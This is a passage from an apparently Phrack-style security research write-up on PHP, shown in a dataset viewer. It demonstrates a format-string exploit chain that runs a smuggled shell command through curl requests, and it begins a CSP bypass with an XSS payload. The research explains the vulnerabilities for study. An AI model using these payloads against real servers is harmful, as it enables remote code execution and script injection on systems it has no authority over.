text stringlengths 0 1.99k |
|---|
| <?php | | <?php | +==========+ |
| $model = $_GET['mod']; | + | $name = "%n%n%n"; | = [ B O O M !] |
| $obj = new $model(); | | $name::doSomething(); | +==========+ |
+--------------------------+ +--------------------------+ |
When I first saw Andrew's report, it immediately hit me that this bug |
could perfectly combine with the previous attack, creating a fun |
combination - something I'd like to call "Format-String Oriented |
Programming!" |
+--------------------[ One two three - pop that FSB! ]--------------------+ |
=> [1] leak address through PHP errors |
$ curl "http://orange.local/index.php?model=%p-%p-%p" |
Fatal error: Uncaught Error: Class '0x23-0x7fffb61f3df0-0x7f1b12666000' |
not found in [...] |
|-------------------------------- [ next ] -------------------------------| |
=> [2] move a heap pointer on stack to `GOT(free)-2` |
$ curl "http://orange.local/index.php?model=AAAAAAAAAAA \ |
AAAAAAAA-%p-%p-%p-[...]-%p-%p-%p-%015373273d-%n" |
[...] |
|-------------------------------- [ next ] -------------------------------| |
=> [3] partially overwrite `GOT[free]` to call `system()` |
$ curl "http://orange.local/index.php?model='|id&&exit; \ |
AAAAAAAA-%p-%p-%p-[...]-%p-%p-%p-%0605504d-%n" |
[...] |
uid=33(www-data) gid=33(www-data) groups=33(www-data) |
+-------------------------------------------------------------------------+ |
Originally, this was just an idea collecting dust in my notes, waiting for |
the perfect moment to turn it into a challenge - but who knew ten years |
would fly by like that? Since the perfect timing never came, maybe this is |
the right place to write it down - I mean, it's not every day you get to |
see a classic format-string bug popping up in a scripting language. That's |
PHP for you! |
------[ 1.2 - When Security Features Make You Less Secure |
Ever since @alech and @zeri shocked everyone, demonstrating how you could |
take down almost every programming language through algorithmic complexity |
[19], PHP had no choice but to introduce the `max_input_vars` directive as |
a countermeasure. Although this measure didn't solve the problem from its |
root, at least it prevented resource exhaustion from excessive input. |
However, using limitations as a defense can sometimes be a double-edged |
sword. Just take PCRE's `backtrack_limit` as an example - it was |
originally supposed to block ReDoS, but attackers flipped it and used it |
to invalidate regular expressions instead. And now, I'd like to introduce |
another interesting one - where a security feature actually leads to a |
*security bypass*! |
In PHP, there's a hidden trap while setting HTTP headers: if there's any |
kind of output before response headers, PHP would simply ignore all |
subsequent `header()` calls. The official documentation also explicitly |
mentions this: |
> Remember that `header()` must be called before any actual output is |
> sent, either by normal HTML tags, blank lines in a file, or from |
> PHP. |
This is a textbook issue, and pops up in many CTF challenges. Yet, in most |
cases, it still relies on unexpected output caused by existing logical |
errors. But what if today, there's no code before setting response headers |
at all - can you still exploit it? |
---------------------[ CSP: Content Security Policy ]---------------------- |
<?php |
header("Content-Security-Policy: default-src 'none';"); |
echo $_GET["xss"]; |
--------------------------------------------------------------------------- |
Definitely! @pilvar cleverly exploited a side effect on `max_input_vars` |
[20] : when the number of parameters exceeds PHP's limit, PHP kindly |
throws a warning message at you. However, this warning indeed violates the |
assumption that "there must be no output before the response header," |
totally breaking the defense-in-depth CSP, and re-enabling Cross-Site |
Scripting again! |
+---------------------[ CSP? Can't Stop Payloads! ]---------------------+ |
=> [1] CSP says No! |
$ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>" |
HTTP/1.1 200 OK |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.